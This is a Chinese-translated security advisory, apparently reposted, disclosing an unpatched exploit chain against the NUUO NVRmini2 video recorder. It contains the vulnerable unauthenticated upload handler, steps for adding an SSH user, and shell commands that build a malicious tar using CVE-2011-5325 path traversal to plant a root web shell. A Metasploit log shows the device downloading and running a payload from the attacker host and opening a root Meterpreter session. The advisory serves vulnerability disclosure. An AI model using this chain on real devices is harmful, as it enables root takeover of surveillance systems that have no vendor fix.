NUUO 的NVRmini2是由NUUO Inc.生产的网络视频录像机 (NVR)。 与大多数 NVR 一样,它的安全性很差,并且曾多次被黑客入侵,这是我在 2016 年首次使用命令注入和堆栈溢出攻击。
六年后,是时候再次pwn了,通过滥用不安全的用户更新机制和非常古老的路径遍历漏洞以root身份执行代码!此漏洞已多次向 NUUO 报告,尽管他们尝试修复,但0day
在撰写本文时仍然存在,所以玩得开心!
滥用此漏洞链的 Metasploit 模块已发布,可在此处和此处获取。
这一系列漏洞是在我最初的 2016 年审计期间首次发现的,但我实际上忘记了它们(老实说,我确实忘记了……很少见,但确实发生了)。我在 2019 年年中通过阅读我的笔记重新发现了它们,并将它们披露给了 NUUO。
2020 年 3 月发布了新的固件版本(版本 03.11.0000.0005)并且错误未修复,因此在 2020 年 4 月再次报告。此后,发布了固件版本 03.11.0000.0016,错误仍未修复。
我想是时候公开它们了,即使没有补丁?
handle_import_user.php
该文件/NUUO/web/handle_import_user.php
可由http://TARGET/handle_import_user.php
未经身份验证的用户访问。其内容如下:
<?php
include('utils.php');
$file_name = "user".rand().".cfg";
$file_path = "/tmp/";
if(move_uploaded_file($_FILES['upload_file']['tmp_name'], $file_path.$file_name)) {
echo 'user import over';
system(constant("NUUO_BASE_FOLDER")."/bin/cgi_system importuser 'bfolder=".$file_path."&bfile=".$file_name."'");
} else{
echo "There was an error uploading the file, please try again!";
}
unlink($file_path.$file_name);
?>
从上面的代码片段中可以看出,它只是将通过 HTTP 表单 POST 上传的文件复制到/tmp/userRAND.cfg
,其中RAND
是一个随机数,然后调用/bin/cgi_system importuser bfolder=/tmp/ bfile=userRAND.cfg
.
cgi_system
是一个复杂的二进制文件,为了让这个建议简短而有趣,我决定不显示任何反汇编或反编译的代码。如果您想查看它,在最新的固件版本 03.11.0000.0016 中,执行用户导入的函数位于偏移量0x2B990
(md5sum 56e2df9ad0ea0d5b74772bc45b1c81d7
)。
此函数执行以下操作:
shadow
和passwd
)/etc/passwd
和/etc/shadow
.仅处理UID
1000 或以上的用户,其他用户将被忽略。
加密似乎是自定义的,除非绝对必要,否则我会避免反转自定义加密机制(这很有趣,但需要很多时间)。像所有真正的黑客一样,我们希望通过最简单的途径获得成功——阻力最小的途径(但是,如果你想反转加密,我很想知道他们的算法)。
所以让我们使用一些诡计来获得我们想要的东西!
pwner
创建一个以密码命名的新“超级用户”pwned
pwner
将的passwd
外壳更改为/bin/bash
/NUUO/bin/cgi_system exportuser 'bfile=stuff' > /tmp/ble.cfg
在根 shell 中运行/tmp/ble.cfg
文件(nc
例如使用)并在开始时删除 HTTP 垃圾http://TARGET/handle_import_user.php
pwner:pwned
通过 SSH 登录到 TARGET 以获取 shell!好的,这很好......但我们仍然需要获得root权限。是时候寻找特权升级了?
tar
目录遍历NVRmini2 使用非常旧的busybox
版本,这在物联网设备中很常见。最新的固件版本 03.11.0000.0016 使用BusyBox v1.16.1 (2013-11-12 15:35:46 CST) multi-call binary
.
此版本受到许多漏洞的影响,其中一个是CVE-2011-5325,即解压缩档案时的目录遍历tar
。有关更多详细信息,请查看此提交消息。以下部分还说明了如何创建恶意 tar。
我们如何结合这两个漏洞?
现在,精明的读者会记得,位于二进制文件偏移量的用户导入函数0x2B990
必须cgi_system
在解密后执行一系列步骤,包括解压缩 HTTP POST 中提供的文件。
让我们滥用这个机制。tar
首先,我们使用 webshell创建恶意文件shelly.php
:
echo haha > owned
tar cfv sploit.tar owned
ln -s /NUUO/web/ nuuo
tar --append -f sploit.tar nuuo
rm nuuo
mkdir nuuo
cp shelly.php nuuo/
tar --append -f sploit.tar nuuo/shelly.php
gzip sploit.tar
片段 #1:创建恶意 tar 文件
但是,如果您还记得前面的部分,我们必须加密这个文件(它在解压缩之前首先被解密),我懒得去反转加密。最后一步 ( gzip
) 是必要的,因为处理程序需要一个压缩文件。
这很容易通过按照前面描述的步骤在目标上获取根 shell 来解决。然后我们开始gdbserver
(这有助于包含在目标中):
gdbserver :3333 /NUUO/bin/cgi_system exportuser 'bfile=stuff'
我们连接远程调试器并在 offset 处设置断点0x2AF5C
:
fd_w = fopen(cfg_file, " r " );
这是exportuser
处理程序中打开文件进行加密的点。我们运行程序,然后当它中断时,我们转到/tmp/tmpXXXX
目录(XXXX 是程序的PID
)。在这个目录中会有一个_stuff.tgz
文件,我们将用上面片段#1中创建的文件的内容覆盖它。
然后我们在 offset 处设置断点0x2ADBC
:
remove(encrypted_file);
此时,我们复制/tmp/stuff.cfg
到/tmp/whatever
,然后我们可以继续程序并退出调试器。
该/tmp/whatever
文件现在将使用恶意tar
内部加密,可用于 pwn 任何固件版本,然后我们将其泄露回我们的计算机。
我们将这个文件以http://TARGET/handle_import_user.php
HTTP POST 形式上传到,文件被解密,然后当它被解压时,我们滥用CVE-2011-5325来执行路径遍历并在 上放置一个 web shell /NUUO/web/shelly.php
,它将以 root 身份执行!
我正在发布一个新的 Metasploit 模块,该模块打包了本公告中描述的整个漏洞利用链。该漏洞利用几乎适用于所有已发布的固件版本(请参阅下面的小节以了解警告)!
该漏洞利用的典型运行如下所示:
msf6 exploit(linux/http/nuuo_nvrmini_unauth_rce_r2) > exploit
[*] Started reverse TCP handler on 192.168.241.1:4444
[*] 192.168.241.61:80 - Uploading initial payload...
[+] 192.168.241.61:80 - We now have root access via /shelly.php, using it to deploy payload...
[*] 192.168.241.61:80 - Starting up our web service on http://192.168.241.1:4445/hWICscieDptfuL ...
[*] Using URL: http://192.168.241.1:4445/hWICscieDptfuL
[*] 192.168.241.61:80 - Asking the device to download and execute http://192.168.241.1:4445/hWICscieDptfuL
[*] 192.168.241.61:80 - Sending the payload to the device...
[*] Sending stage (903360 bytes) to 192.168.241.61
[+] Deleted /NUUO/web/shelly.php
[*] Meterpreter session 5 opened (192.168.241.1:4444 -> 192.168.241.61:40979 ) at 2022-01-07 23:14:29 +0000
[+] 192.168.241.61:80 - Shell incoming!
[*] Server stopped.
meterpreter > getuid
Server username: root
meterpreter > shell
Process 14664 created.
Channel 1 created.
id
uid=0(root) gid=0(root)
uname -a
Linux NVR 2.6.31.8 #1 Thu Oct 11 09:18:12 CST 2018 armv5tel GNU/Linux
cat /etc/titan.conf
[Version]
Kernel=2.6.31.8.0006
MIN_Kernel=2.6.31.8.0000
OS=03.11.0000.0016
MIN_OS=01.06.0000.0113
NVR=03.11.0000.0016
MIN_NVR=01.06.0000.0113
(...)
NVRReleaseDate=20211110
(...)
用于删除 web shell 的技术不适用于早于 2.0.0 的固件版本。对于这些非常旧的版本,可以使用另一种技术,该技术也在随本公告发布的新 Metasploit 模块中提供。
该技术包括将shadow
文件替换为包含可以通过 SSH 登录到目标的用户的文件。为什么 web shell 技术不适用于 2.0.0 之前的版本?这是个好问题。
我在 2019 年的笔记中有这个,但我没有向自己提供任何细节,我不想再花时间研究这个老错误。如果您有兴趣,请尝试了解原因并给我留言,我很想知道!
无论如何,对于较旧的固件版本,我建议您使用我2016 年的 Metasploit 模块,它可以在非常旧的固件版本上完美运行,一直到 3.0.0。
不幸的是,供应商没有回应任何披露尝试,并且多次未能解决此漏洞,因此没有修复。不要将任何 NVRmini2 设备暴露在不受信任的网络中。
请注意,敏捷信息安全 (Agile InfoSec) 在列出固定版本或产品时依赖于供应商提供的信息。Agile InfoSec 不验证此信息,除非在本公告中特别提及或供应商要求或签订合同时这样做。 未经确认的供应商修复可能无效或不完整,供应商有责任确保敏捷信息安全发现的漏洞得到妥善解决。 对于因滥用本公告中包含或提及的信息或代码而导致的任何重大损失、生命损失或声誉损失,Agile Information Security Limited 不承担任何财务或其他责任。供应商有责任确保其产品在投放市场之前、期间和之后的安全性。
本文系外文翻译,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文系外文翻译,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。